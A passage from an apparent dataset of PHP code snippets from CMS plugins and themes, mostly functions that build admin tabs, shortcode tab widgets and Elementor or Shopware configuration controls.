'btn_custom_grad'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t'bg_hover'\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'color'\t\t=> 'color_hover',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'custom'\t=> 'custom',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'custom_id'\t=> 'custom_bg_hover',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t'font'\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'color'\t\t=> 'color_font',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'custom'\t=> 'custom',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'custom_id'\t=> 'custom_font',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t'font_hover' => array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'color'\t\t=> 'color_font_hover',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'custom'\t=> 'custom',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'custom_id'\t=> 'custom_font_hover',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t)\n\t\t\t\t\n\t\t\t\t);\n\t\t\t\n\t\t\t$template = array(\n\t\t\t\t\t\t\tarray(\t\n\t\t\t\t\t\t\t\t'type'\t\t\t=> 'template',\n\t\t\t\t\t\t\t\t'template_id'\t=> 'toggle',\n\t\t\t\t\t\t\t\t'title'\t\t\t=> __( 'Colors', 'avia_framework' ),\n\t\t\t\t\t\t\t\t'content'\t\t=> $c \n\t\t\t\t\t\t\t),\n\t\t\t\t\t);\n\t\t\t\n\t\t\tAviaPopupTemplates()->register_dynamic_template( $this->popup_key( 'styling_colors' ), $template );\n\t\t\t\n\t\t}",
"private function _createTab()\r\n {\r\n $response = true;\r\n\r\n // First check for parent tab\r\n $parentTabID = Tab::getIdFromClassName('AdminFieldMenu');\r\n\r\n if ($parentTabID) {\r\n $parentTab = new Tab($parentTabID);\r\n } else {\r\n $parentTab = new Tab();\r\n $parentTab->active = 1;\r\n $parentTab->name = array();\r\n $parentTab->class_name = \"AdminFieldMenu\";\r\n foreach (Language::getLanguages() as $lang){\r\n $parentTab->name[$lang['id_lang']] = \"FIELDTHEMES\";\r\n }\r\n $parentTab->id_parent = 0;\r\n $parentTab->module = '';\r\n $response &= $parentTab->add();\r\n }\r\n// Check for parent tab2\r\n\t\t\t$parentTab_2ID = Tab::getIdFromClassName('AdminFieldMenuSecond');\r\n\t\t\tif ($parentTab_2ID) {\r\n\t\t\t\t$parentTab_2 = new Tab($parentTab_2ID);\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$parentTab_2 = new Tab();\r\n\t\t\t\t$parentTab_2->active = 1;\r\n\t\t\t\t$parentTab_2->name = array();\r\n\t\t\t\t$parentTab_2->class_name = \"AdminFieldMenuSecond\";\r\n\t\t\t\tforeach (Language::getLanguages() as $lang) {\r\n\t\t\t\t\t$parentTab_2->name[$lang['id_lang']] = \"FieldThemes Configure\";\r\n\t\t\t\t}\r\n\t\t\t\t$parentTab_2->id_parent = $parentTab_2->id;\r\n\t\t\t\t$parentTab_2->module = '';\r\n\t\t\t\t$response &= $parentTab_2->add();\r\n\t\t\t}\r\n\t\t\t// Created tab\r\n $tab = new Tab();\r\n $tab->active = 1;\r\n $tab->class_name = \"AdminFieldBrandSlider\";\r\n $tab->name = array();\r\n foreach (Language::getLanguages() as $lang){\r\n $tab->name[$lang['id_lang']] = \"Configuge brands\";\r\n }\r\n $tab->id_parent = $parentTab_2->id;\r\n $tab->module = $this->name;\r\n $response &= $tab->add();\r\n\r\n return $response;\r\n }",
"public function initContent() {\n $this->initTabModuleList();\n $this->initToolbar();\n $this->initPageHeaderToolbar();\n\n if ($this->display == 'edit' || Tools::getValue('display') == 'formPlayer') {\n if (!$this->loadObject(true)) {\n return;\n }\n $this->content = $this->renderForm();\n $this->content.= $this->generateListPlayerLevels();\n $this->content.= $this->generateListPlayerHistory();\n $deletePlayers = false;\n }\n elseif (Tools::isSubmit('addCustomAction')) {\n $this->content = $this->generateFormCustomAction();\n $deletePlayers = false;\n }\n else {\n $this->content = $this->renderList();\n $deletePlayers = true;\n }\n\n // This are the real smarty variables\n $this->context->smarty->assign(\n array(\n 'content' => $this->content,\n 'tab' => 'Players',\n 'loyalty_name' => Configuration::get('krona_loyalty_name', $this->context->language->id, $this->id_shop_group, $this->id_shop),\n 'import' => Configuration::get('krona_import_customer', null, $this->id_shop_group, $this->id_shop),\n 'dont' => Configuration::get('krona_dont_import_customer', null, $this->id_shop_group, $this->id_shop),\n 'deletePlayers' => $deletePlayers,\n 'show_page_header_toolbar' => $this->show_page_header_toolbar,\n 'page_header_toolbar_title' => $this->page_header_toolbar_title,\n 'page_header_toolbar_btn' => $this->page_header_toolbar_btn,\n )\n );\n\n $tpl = $this->context->smarty->fetch(_PS_MODULE_DIR_ . 'genzo_krona/views/templates/admin/main.tpl');\n\n $this->context->smarty->assign(array(\n 'content' => $tpl, // This seems to be anything inbuilt. It's just chance that we both use content as an assign variable\n ));\n\n }",
"function scb_tabx($atts, $content){\n\t$tabid='';\n\t$tabclass = $atts['class'];\n\t$tabmode = ' nav-tabs';\n\t$tablia = ''; $tabCont = '';\n\t\n\tif($atts['id'] !=''){\n\t\t$tabid = ' id=\"'.$atts['id'].'\"'; \n\t}\n\t\n\tif($atts['mode'] !=''){\n\t\t$tabmode = ' nav-'.$atts['mode']; \n\t}\n\t\n\t$menu = explode('[/tab_content]', $content);\n\t$tabTitle='';\n\t\n\tfor($i=0; $i<count($menu)-1;$i++){\n\t\t$tabTitle = explode(':',explode(']',$menu[$i])[0])[1];\n\t\tadd_shortcode('content:'.str_replace(' ','',$tabTitle), 'tabMenuCont_sc');\n\t}\n\t\n\tfor($i=0; $i<count($menu)-1;$i++){\n\t\t$tabTitle = explode(':',explode(']',$menu[$i])[0])[1];\n\t\t$tabSCName = explode(']',$menu[$i])[0];\n\t\t$renscName = '[tab_content:'.str_replace(' ','',$tabTitle);\n\t\t$scName = str_replace($tabSCName, $renscName ,$menu[$i]);\n\t\t$tablia .= '<li role=\"presentation\" '.($i==0?'class=\"active\"':'').'><a href=\"#dv'.$attrs['id'].'_'.$i.'\" data-toggle=\"tab\" role=\"tab\" aria-expanded=\"true\">'.$tabTitle.'</a></li>';\n\t\t\n\t\t$tabCont .= '<div id=\"dv'.$attrs['id'].'_'.$i.'\" class=\"tab-pane '.($i==0?'active':'').'\" >'.do_shortcode(trim($scName)).'</div>';\n\t}\n\t\n\t$retVal = '<div'.$tabid.'><ul class=\"nav'.$tabmode.'\">'.$tablia.'</ul><div class=\"tab-content\">'.$tabCont.'</div></div>';\n\treturn $retVal;\n}",
"function elodin_jobs_add_widget_area_before_genesis() {\n if ( !is_singular( 'jobs' ) )\n return;\n \n\tgenesis_widget_area( 'before-single-job', array(\n 'before' => '<div class=\"jobs-widget-wrap-before\">',\n 'after' => '</div>', \n\t) );\n}",
"private function createMainConfigTab()\n {\n $tab = $this->createTab(\n 'responsiveMain',\n '__responsive_tab_header__',\n [\n 'attributes' => [\n 'layout' => 'anchor',\n 'autoScroll' => true,\n 'padding' => '0',\n 'defaults' => ['anchor' => '100%'],\n ],\n ]\n );\n\n $fieldSet = $this->createFieldSet(\n 'bareGlobal',\n '__global_configuration__',\n [\n 'attributes' => [\n 'padding' => '10',\n 'margin' => '5',\n 'layout' => 'anchor',\n 'defaults' => ['labelWidth' => 155, 'anchor' => '100%'],\n ],\n ]\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'offcanvasCart',\n '__offcanvas_cart__',\n true,\n $this->getLabelAttribute(\n 'offcanvas_cart_description'\n )\n )\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'offcanvasOverlayPage',\n '__offcanvas_move_method__',\n true,\n $this->getLabelAttribute(\n 'offcanvas_move_method_description'\n )\n )\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'focusSearch',\n '__focus_search__',\n false,\n $this->getLabelAttribute(\n 'focus_search_description'\n )\n )\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'displaySidebar',\n '__display_sidebar__',\n true,\n $this->getLabelAttribute(\n 'display_sidebar_description'\n )\n )\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'sidebarFilter',\n '__show_filter_in_sidebar__',\n false,\n $this->getLabelAttribute(\n 'show_filter_in_sidebar_description'\n )\n )\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'checkoutHeader',\n '__checkout_header__',\n true,\n $this->getLabelAttribute(\n 'checkout_header_description'\n )\n )\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'checkoutFooter',\n '__checkout_footer__',\n true,\n $this->getLabelAttribute(\n 'checkout_footer_description'\n )\n )\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'infiniteScrolling',\n '__enable_infinite_scrolling__',\n true,\n $this->getLabelAttribute(\n 'enable_infinite_scrolling_description'\n )\n )\n );\n\n $fieldSet->addElement(\n $this->createNumberField(\n 'infiniteThreshold',\n '__infinite_threshold__',\n 4,\n $this->getLabelAttribute(\n 'infinite_threshold_description',\n 'supportText'\n )\n )\n );\n\n $fieldSet->addElement(\n $this->createSelectField(\n 'lightboxZoomFactor',\n '__lightbox_zoom_factor__',\n 0,\n [\n ['value' => 0, 'text' => '__lightbox_zoom_factor_auto__'],\n ['value' => 1, 'text' => '__lightbox_zoom_factor_none__'],\n ['value' => 2, 'text' => '__lightbox_zoom_factor_2x__'],\n ['value' => 3, 'text' => '__lightbox_zoom_factor_3x__'],\n ['value' => 5, 'text' => '__lightbox_zoom_factor_5x__'],\n ],\n $this->getLabelAttribute(\n 'lightbox_zoom_factor_description',\n 'supportText'\n )\n )\n );\n\n $fieldSet->addElement(\n $this->createTextField(\n 'appleWebAppTitle',\n '__apple_web_app_title__',\n '',\n ['attributes' => ['lessCompatible' => false]]\n )\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'ajaxVariantSwitch',\n '__ajax_variant_switch__',\n true,\n ['attributes' => [\n 'lessCompatible' => false,\n 'boxLabel' => Shopware()->Snippets()->getNamespace('themes/bare/backend/config')->get('ajax_variant_switch_description'),\n ]]\n )\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'asyncJavascriptLoading',\n '__async_javascript_loading__',\n true,\n ['attributes' => [\n 'lessCompatible' => false,\n 'boxLabel' => Shopware()->Snippets()->getNamespace('themes/bare/backend/config')->get('async_javascript_loading_description'),\n ]]\n )\n );\n\n $fieldSet->addElement(\n $this->createCheckboxField(\n 'ajaxEmotionLoading',\n '__ajax_emotion_loading__',\n true,\n ['attributes' => [\n 'lessCompatible' => false,\n 'boxLabel' => Shopware()->Snippets()->getNamespace('themes/bare/backend/config')->get('ajax_emotion_loading_description'),\n ]]\n )\n );\n\n $tab->addElement($fieldSet);\n\n $fieldSet = $this->createFieldSet(\n 'responsiveGlobal',\n '__advanced_settings__',\n [\n 'attributes' => [\n 'padding' => '10',\n 'margin' => '5',\n 'layout' => 'anchor',\n 'defaults' => ['anchor' => '100%', 'labelWidth' => 155],\n ],\n ]\n );\n\n $fieldSet->addElement(\n $this->createTextAreaField(\n 'additionalCssData',\n '__additional_css_data__',\n '',\n ['attributes' => ['xtype' => 'textarea', 'lessCompatible' => false], 'help' => '__additional_css_data_description__']\n )\n );\n\n $fieldSet->addElement(\n $this->createTextAreaField(\n 'additionalJsLibraries',\n '__additional_js_libraries__',\n '',\n ['attributes' => ['xtype' => 'textarea', 'lessCompatible' => false], 'help' => '__additional_js_libraries_description__']\n )\n );\n\n $tab->addElement($fieldSet);\n\n return $tab;\n }",
"function bp_dynamic_tab_content() {\n\treturn BP_Dynamic_User_Tab_Content::get_instance();\n}",
"private function build_factory_meta_tab_widget($_meta, $_ptype = \"wccpf\") {\r\n \t/* Accordian wrapper starts here */\r\n \t$html = '<div class=\"wcff-factory-tab-container\">';\r\n \t\r\n \t/* Left side header panel starts here */\r\n \t$html .= '<div class=\"wcff-factory-tab-left-panel\">';\r\n \t$html .= '<ul>';\r\n \tforeach ($_meta[\"tabs\"] as $tab) {\r\n \t\t$html .= '<li data-box=\"' . $tab[\"header\"][\"target\"] . '\" class=\"' . $tab[\"header\"][\"css_class\"] . '\">' . $tab[\"header\"][\"title\"] . '</li>';\r\n \t}\r\n \t$html .= '</ul>';\r\n \t$html .= '</div>';\r\n \t/* Left side header anel ends here */\r\n \t\r\n \t/* Left side header panel starts here */\r\n \t$html .= '<div class=\"wcff-factory-tab-right-panel\">';\r\n \tforeach ($_meta[\"tabs\"] as $tab) {\r\n \t\t/* Tab content section starts here */\r\n \t\t$html .= '<div id=\"' . $tab[\"content\"][\"container\"] . '\" class=\"wcff-factory-tab-content\">';\r\n \t\t\r\n \t\tforeach ($tab[\"content\"][\"fields\"] as $field) {\r\n \t\t\t/* Meta field's wrapper starts here */\r\n \t\t\t$html .= '<div class=\"wcff-field-types-meta\" data-type=\"' . $field[\"type\"] . '\" data-param=\"' . $field[\"param\"] . '\">';\r\n \t\t\t$html .= $this->build_factory_meta_field($field, $_ptype);\r\n \t\t\t$html .= '</div>';\r\n \t\t\t/* Meta field's wrapper ends here */\r\n \t\t}\r\n \t\t\r\n \t\t$html .= '</div>';\r\n \t\t/* Tab content section ends here */\r\n \t}\r\n \t$html .= '</div>';\r\n \t/* Left side header anel ends here */\r\n \t\r\n \t$html .= '</div>';\r\n \t/* Accordian wrapper ends here */\r\n \treturn $html;\r\n }",
"public static function createInstance()\n {\n return new TabContainer('ISerializable', 'ISerializable');\n }",
"public function jobsAction()\n {\n $this->validateManagerType('dtc_queue.default_manager');\n $managerType = $this->container->getParameter('dtc_queue.default_manager');\n $rendererFactory = $this->get('dtc_grid.renderer.factory');\n $renderer = $rendererFactory->create('datatables');\n $gridSource = $this->get('dtc_queue.grid_source.live_jobs.'.('mongodb' === $managerType ? 'odm' : $managerType));\n $renderer->bind($gridSource);\n $params = $renderer->getParams();\n $this->addCssJs($params);\n\n return $params;\n }",
"function echotheme_tabs_func( $atts, $content = null ) {\n global $tabs;\n $tabs = array(); // clear the array\n\tdo_shortcode($content); // execute the '[tab]' shortcode first to get the title and content\n\n $tabs_nav = '<div class=\"clear\"></div>';\n $tabs_nav .= '<div class=\"tabs-wrapper\">';\n $tabs_nav .= '<ul class=\"tabs\">';\n\t$tabs_content .= '<ul class=\"tabs-content\">';\n \n\tforeach ($tabs as $tab => $tab_atts) {\n\t\t$id = str_replace(' ', '-', $tab_atts['title']);\n\t\t$default = ( $tab == 0 ) ? ' class=\"active\"' : '';\n\t\n\t\t$tabs_nav .= '<li><a href=\"#'.$id.'\"'.$default.'>'.$tab_atts['title'].'</a></li>';\n\t\t$tabs_content .= '<li id=\"'.$id.'\"'.$default.'>'.$tab_atts['content'].'</li>';\n }\n\n $tabs_nav .= '</ul>';\n\t$tabs_content .= '</ul>';\n $tabs_output .= $tabs_nav . $tabs_content;\n $tabs_output .= '</div><!-- tabs-wrapper end -->';\n $tabs_output .= '<div class=\"clear\"></div>';\n\t\n return $tabs_output;\n}",
"function render_tab($key,$tab){\n global $post;\n echo '<h2>'.apply_filters('GWP_custom_tab_title',$tab['title'],$tab,$key).'</h2>';\n echo apply_filters('GWP_custom_tab_content',$tab['content'],$tab,$key);\n }",
"public function installKbTabs()\n {\n $parentTab = new Tab();\n $parentTab->name = array();\n foreach (Language::getLanguages(true) as $lang) {\n $parentTab->name[$lang['id_lang']] = $this->l('Knowband Web Push Notification');\n }\n\n $parentTab->class_name = self::PARENT_TAB_CLASS;\n $parentTab->module = $this->name;\n $parentTab->active = 1;\n $parentTab->id_parent = Tab::getIdFromClassName(self::SELL_CLASS_NAME);\n $parentTab->icon = 'notifications';\n $parentTab->add();\n\n $id_parent_tab = (int) Tab::getIdFromClassName(self::PARENT_TAB_CLASS);\n $admin_menus = $this->adminSubMenus();\n\n foreach ($admin_menus as $menu) {\n $tab = new Tab();\n foreach (Language::getLanguages(true) as $lang) {\n $tab->name[$lang['id_lang']] = $this->l($menu['name']);\n }\n\n $tab->class_name = $menu['class_name'];\n $tab->module = $this->name;\n $tab->active = $menu['active'];\n $tab->id_parent = $id_parent_tab;\n $tab->add($this->id);\n }\n return true;\n }",
"function jquery_create_tabs( $tab_id, $tabs, $callback, $prefix = '' )\n {\n global $page_info;\n\n $page_info['head'][] = _jquery_tabs( $tab_id );\n\n echo ( $prefix . '<div id=\"' . htmlentities( $tab_id ) . '\">' . \"\\n\" );\n\n echo ( $prefix . \"\\t\" . '<ul>' . \"\\n\" );\n foreach ( $tabs as $tk => $tv )\n {\n echo ( $prefix . \"\\t\\t\" . '<li><a href=\"#' . htmlentities( $tk ) . '\">' . htmlentities( $tv ) . '</a></li>' . \"\\n\" );\n }\n echo ( $prefix . \"\\t\" . '</ul>' . \"\\n\" );\n\n foreach ( $tabs as $tk => $tv )\n {\n echo ( $prefix . \"\\t\" . '<div id=\"' . htmlentities( $tk ) . '\">' . \"\\n\" );\n\n call_user_func_array( $callback, array( $tk, ( $prefix . \"\\t\\t\" ) ) );\n\n echo ( $prefix . \"\\t\" . '</div>' . \"\\n\" );\n }\n\n echo ( $prefix . '</div>' . \"\\n\" );\n }",
"function pexeto_show_tabs( $atts, $content = null ) {\r\n\t\textract( shortcode_atts( array(\r\n\t\t\t\t\t'titles' => '',\r\n\t\t\t\t\t'width' => 'medium'\r\n\t\t\t\t), $atts ) );\r\n\t\t$titlearr=explode( ',', $titles );\r\n\t\t$html='<div class=\"tabs-container\"><ul class=\"tabs \">';\r\n\t\tif ( $width=='small' ) {\r\n\t\t\t$wclass='w1';\r\n\t\t}elseif ( $width=='big' ) {\r\n\t\t\t$wclass='w3';\r\n\t\t}else {\r\n\t\t\t$wclass='w2';\r\n\t\t}\r\n\t\tforeach ( $titlearr as $title ) {\r\n\t\t\t$html.='<li class=\"'.$wclass.'\"><a href=\"#\">'.$title.'</a></li>';\r\n\t\t}\r\n\t\t$html.='</ul><div class=\"panes\">'.do_shortcode( $content ).'</div></div>';\r\n\t\treturn $html;\r\n\t}",
"private function _createTab()\r\n {\r\n $response = true;\r\n\r\n // First check for parent tab\r\n $parentTabID = Tab::getIdFromClassName('AdminFieldMenu');\r\n\r\n if ($parentTabID) {\r\n $parentTab = new Tab($parentTabID);\r\n } else {\r\n $parentTab = new Tab();\r\n $parentTab->active = 1;\r\n $parentTab->name = array();\r\n $parentTab->class_name = \"AdminFieldMenu\";\r\n foreach (Language::getLanguages() as $lang){\r\n $parentTab->name[$lang['id_lang']] = \"Fieldthemes\";\r\n }\r\n $parentTab->id_parent = 0;\r\n $parentTab->module = '';\r\n $response &= $parentTab->add();\r\n }\r\n// Check for parent tab2\r\n\t\t\t$parentTab_2ID = Tab::getIdFromClassName('AdminFieldMenuSecond');\r\n\t\t\tif ($parentTab_2ID) {\r\n\t\t\t\t$parentTab_2 = new Tab($parentTab_2ID);\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$parentTab_2 = new Tab();\r\n\t\t\t\t$parentTab_2->active = 1;\r\n\t\t\t\t$parentTab_2->name = array();\r\n\t\t\t\t$parentTab_2->class_name = \"AdminFieldMenuSecond\";\r\n\t\t\t\tforeach (Language::getLanguages() as $lang) {\r\n\t\t\t\t\t$parentTab_2->name[$lang['id_lang']] = \"FieldThemes Configure\";\r\n\t\t\t\t}\r\n\t\t\t\t$parentTab_2->id_parent = $parentTab->id;\r\n\t\t\t\t$parentTab_2->module = '';\r\n\t\t\t\t$response &= $parentTab_2->add();\r\n\t\t\t}\r\n\t\t\t// Created tab\r\n $tab = new Tab();\r\n $tab->active = 1;\r\n $tab->class_name = \"AdminFieldSpecialProduct\";\r\n $tab->name = array();\r\n foreach (Language::getLanguages() as $lang){\r\n $tab->name[$lang['id_lang']] = \"Configure specials products\";\r\n }\r\n $tab->id_parent = $parentTab_2->id;\r\n $tab->module = $this->name;\r\n $response &= $tab->add();\r\n\r\n return $response;\r\n }",
"protected function _register_controls() {\n /*-----------------------------------------------------------------------------------*/\n /* Content TAB\n /*-----------------------------------------------------------------------------------*/\n $this->start_controls_section(\n 'title_section',\n array(\n 'label' => __('APR Heading', 'apr-core' ),\n )\n );\n /* Heading 1*/\n $this->add_control(\n 'title',\n array(\n 'label' => __( 'Title', 'apr-core' ),\n 'type' => Controls_Manager::TEXTAREA,\n 'dynamic' => array(\n 'active' => true\n ),\n 'placeholder' => __( 'Enter your title', 'apr-core' ),\n 'default' => __( 'Enter your title', 'apr-core' ),\n 'label_block' => true,\n )\n );\n $this->add_control(\n 'heading_size',\n array(\n 'label' => __( 'HTML Tag', 'apr-core' ),\n 'type' => Controls_Manager::SELECT,\n 'options' => array(\n 'h1' => __( 'H1', 'apr-core' ),\n 'h2' => __( 'H2', 'apr-core' ),\n 'h3' => __( 'H3', 'apr-core' ),\n 'h4' => __( 'H4', 'apr-core' ),\n 'h5' => __( 'H5', 'apr-core' ),\n 'p' => __( 'p', 'apr-core' ),\n ),\n 'default' => 'h3',\n )\n );\n $this->add_control(\n 'link',\n [\n 'label' => __( 'Link', 'elementor' ),\n 'type' => Controls_Manager::URL,\n 'dynamic' => [\n 'active' => true,\n ],\n 'default' => [\n 'url' => '',\n ],\n 'separator' => 'before',\n ]\n );\n $this->add_responsive_control(\n 'alignment',\n array(\n 'label' => __('Alignment', 'apr-core'),\n 'type' => Controls_Manager::CHOOSE,\n 'default' => 'left',\n 'options' => array(\n 'left' => array(\n 'title' => __( 'Left', 'apr-core' ),\n 'icon' => 'fa fa-align-left',\n ),\n 'center' => array(\n 'title' => __( 'Center', 'apr-core' ),\n 'icon' => 'fa fa-align-center',\n ),\n 'right' => array(\n 'title' => __( 'Right', 'apr-core' ),\n 'icon' => 'fa fa-align-right',\n )\n ),\n )\n );\n $this->add_control(\n 'description',\n array(\n 'label' => __( 'Description', 'apr-core' ),\n 'type' => Controls_Manager::TEXTAREA,\n 'dynamic' => array(\n 'active' \t=> true\n ),\n )\n );\n $this->add_control(\n 'description_position',\n [\n 'label' => __( 'Description Position', 'apr-core' ),\n 'type' => Controls_Manager::SELECT,\n 'default' => 'bottom',\n 'options' => [\n 'aside' => __( 'Aside', 'apr-core' ),\n 'bottom' => __( 'Bottom', 'apr-core' ),\n ],\n ]\n );\n $this->add_control(\n 'list_divider',\n [\n 'label' => __( 'Divider', 'apr-core' ),\n 'type' => Controls_Manager::SWITCHER,\n 'default' => 'no',\n 'separator' => 'before',\n ]\n );\n\n $this->add_control(\n 'divider_position',\n [\n 'label' => __( 'Position', 'apr-core' ),\n 'type' => Controls_Manager::SELECT,\n 'options' => [\n 'top' => __( 'Top', 'apr-core' ),\n 'bottom' => __( 'Bottom', 'apr-core' )\n ],\n 'default' => 'bottom',\n 'condition' => [\n 'list_divider' => 'yes',\n ]\n ]\n );\n\n $this->add_control(\n 'divider_color',\n [\n 'label' => __( 'Color', 'apr-core' ),\n 'type' => Controls_Manager::COLOR,\n 'default' => '',\n 'scheme' => [\n 'type' => Scheme_Color::get_type(),\n 'value' => Scheme_Color::COLOR_3,\n ],\n 'condition' => [\n 'list_divider' => 'yes',\n ],\n 'selectors' => [\n '{{WRAPPER}} .heading-title:before' => 'background-color: {{VALUE}};',\n ],\n ]\n );\n $this->add_control(\n 'divider_color_hover',\n [\n 'label' => __( 'Color Hover', 'apr-core' ),\n 'type' => Controls_Manager::COLOR,\n 'default' => '',\n 'scheme' => [\n 'type' => Scheme_Color::get_type(),\n 'value' => Scheme_Color::COLOR_3,\n ],\n 'condition' => [\n 'list_divider' => 'yes',\n ],\n 'selectors' => [\n '{{WRAPPER}} .heading-title:hover:before' => 'background-color: {{VALUE}};',\n ],\n ]\n );\n $this->add_responsive_control(\n 'divider_top',\n [\n 'label' => __( 'Top Space', 'apr-core' ),\n 'type' => Controls_Manager::SLIDER,\n 'default' => [\n 'size' => '',\n 'unit' => 'px',\n ],\n 'range' => [\n 'px' => [\n 'min' => 0,\n 'max' => 1000,\n ],\n ],\n 'size_units' => [ 'px' ],\n 'condition' => [\n 'list_divider' => 'yes',\n ],\n 'selectors' => [\n '{{WRAPPER}} .heading-title:before' => 'top: {{SIZE}}{{UNIT}};',\n ],\n ]\n );\n\n $this->add_responsive_control(\n 'divider_left',\n [\n 'label' => __( 'Left Space', 'apr-core' ),\n 'type' => Controls_Manager::SLIDER,\n 'default' => [\n 'size' => '',\n 'unit' => 'px',\n ],\n 'range' => [\n 'px' => [\n 'min' => 0,\n 'max' => 1000,\n ],\n ],\n 'size_units' => [ 'px' ],\n 'condition' => [\n 'list_divider' => 'yes',\n ],\n 'selectors' => [\n '{{WRAPPER}} .heading-title:before' => 'left: {{SIZE}}{{UNIT}};',\n ],\n ]\n );\n\n $this->add_responsive_control(\n 'divider_weight',\n [\n 'label' => __( 'Height', 'apr-core' ),\n 'type' => Controls_Manager::SLIDER,\n 'default' => [\n 'size' => 1,\n 'unit' => 'px',\n ],\n 'range' => [\n 'px' => [\n 'min' => 0,\n 'max' => 1000,\n ],\n '%' => [\n 'min' => 0,\n 'max' => 100,\n ],\n ],\n 'size_units' => [ '%', 'px' ],\n 'condition' => [\n 'list_divider' => 'yes',\n ],\n 'selectors' => [\n '{{WRAPPER}} .heading-title:before' => 'height: {{SIZE}}{{UNIT}};',\n ],\n ]\n );\n\n $this->add_responsive_control(\n 'divider_width',\n [\n 'label' => __( 'Width', 'apr-core' ),\n 'type' => Controls_Manager::SLIDER,\n 'condition' => [\n 'list_divider' => 'yes',\n ],\n 'default' => [\n 'size' => 100,\n 'unit' => 'px',\n ],\n 'range' => [\n 'px' => [\n 'min' => 0,\n 'max' => 1000,\n ],\n '%' => [\n 'min' => 0,\n 'max' => 100,\n ],\n ],\n 'size_units' => [ '%', 'px' ],\n 'selectors' => [\n '{{WRAPPER}} .heading-title:before' => 'width: {{SIZE}}{{UNIT}};',\n ],\n ]\n );\n \n $this->end_controls_section();\n /*-----------------------------------------------------------------------------------*/\n /* Style TAB\n /*-----------------------------------------------------------------------------------*/\n $this->start_controls_section(\n 'title_style_section',\n array(\n 'label' => __( 'Color', 'apr-core' ),\n 'tab' => Controls_Manager::TAB_STYLE,\n )\n );\n $this->add_control(\n 'title_color',\n [\n 'label' => __( 'Title Color', 'apr-core' ),\n 'type' => Controls_Manager::COLOR,\n 'scheme' => [\n 'type' => Scheme_Color::get_type(),\n 'value' => Scheme_Color::COLOR_1,\n ],\n 'selectors' => [\n // Stronger selector to avoid section style from overwriting\n '{{WRAPPER}} .heading-modern .heading-title,\n {{WRAPPER}} .heading-modern .heading-title a' => 'color: {{VALUE}};',\n ],\n ]\n );\n $this->add_control(\n 'desc_color',\n [\n 'label' \t=> __( 'Description color', 'apr-core' ),\n 'type' \t\t=> Controls_Manager::COLOR,\n 'scheme' \t=> [\n 'type' \t\t=> Scheme_Color::get_type(),\n 'value' \t=> Scheme_Color::COLOR_1,\n ],\n 'selectors' => [\n '{{WRAPPER}} .heading-modern .description' => 'color: {{VALUE}};',\n ],\n ]\n );\n $this->end_controls_section();\n $this->start_controls_section(\n 'desc_style',\n array(\n 'label' => __( 'Typography', 'apr-core' ),\n 'tab' => Controls_Manager::TAB_STYLE,\n )\n );\n\n $this->add_group_control(\n Group_Control_Typography::get_type(),\n [\n 'name' \t\t=> 'title_typo',\n 'label' \t=> __( 'Title', 'apr-core' ),\n 'selector' => '{{WRAPPER}} .heading-modern .heading-title',\n ]\n );\n $this->add_responsive_control(\n 'title_width',\n array(\n 'label' => __('Max width Title','apr-core' ),\n 'type' => Controls_Manager::SLIDER,\n 'size_units' => array('px','%'),\n 'range' => array(\n '%' => array(\n 'min' => 1,\n 'max' => 100,\n ),\n 'px' => array(\n 'min' => 1,\n 'max' => 1600,\n 'step' => 5\n )\n ),\n 'selectors' => array(\n '{{WRAPPER}} .heading-modern .heading-title' => 'max-width:{{SIZE}}{{UNIT}};'\n ),\n )\n );\n $this->add_group_control(\n Group_Control_Typography::get_type(),\n [\n 'name' \t\t=> 'desc_typo',\n 'label' \t=> __( 'Description', 'apr-core' ),\n 'scheme' => Scheme_Typography::TYPOGRAPHY_1,\n 'selector' \t=> '{{WRAPPER}} .heading-modern .description',\n ]\n );\n $this->add_responsive_control(\n 'desc_width',\n array(\n 'label' => __('Max width Description','apr-core' ),\n 'type' => Controls_Manager::SLIDER,\n 'size_units' => array('px','%'),\n 'range' => array(\n '%' => array(\n 'min' => 1,\n 'max' => 100,\n ),\n 'px' => array(\n 'min' => 1,\n 'max' => 1600,\n 'step' => 5\n )\n ),\n 'selectors' => array(\n '{{WRAPPER}} .heading-modern .description' => 'max-width:{{SIZE}}{{UNIT}};'\n ),\n )\n );\n $this->add_responsive_control(\n 'title_margin',\n array(\n 'label' => __( 'Margin Title', 'apr-core' ),\n 'type' => Controls_Manager::DIMENSIONS,\n 'size_units' => [ 'px', '%' ],\n 'allowed_dimensions' => 'vertical',\n 'placeholder' => [\n 'top' => '',\n 'right' => 'auto',\n 'bottom' => '',\n 'left' => 'auto',\n ],\n 'selectors' => [\n '{{WRAPPER}} .heading-modern .heading-title' => 'margin-top: {{TOP}}{{UNIT}}; margin-bottom: {{BOTTOM}}{{UNIT}};',\n ],\n )\n );\n\n $this->add_responsive_control(\n 'title_padding',\n [\n 'label' => __( 'Padding Title', 'apr-core' ),\n 'type' => 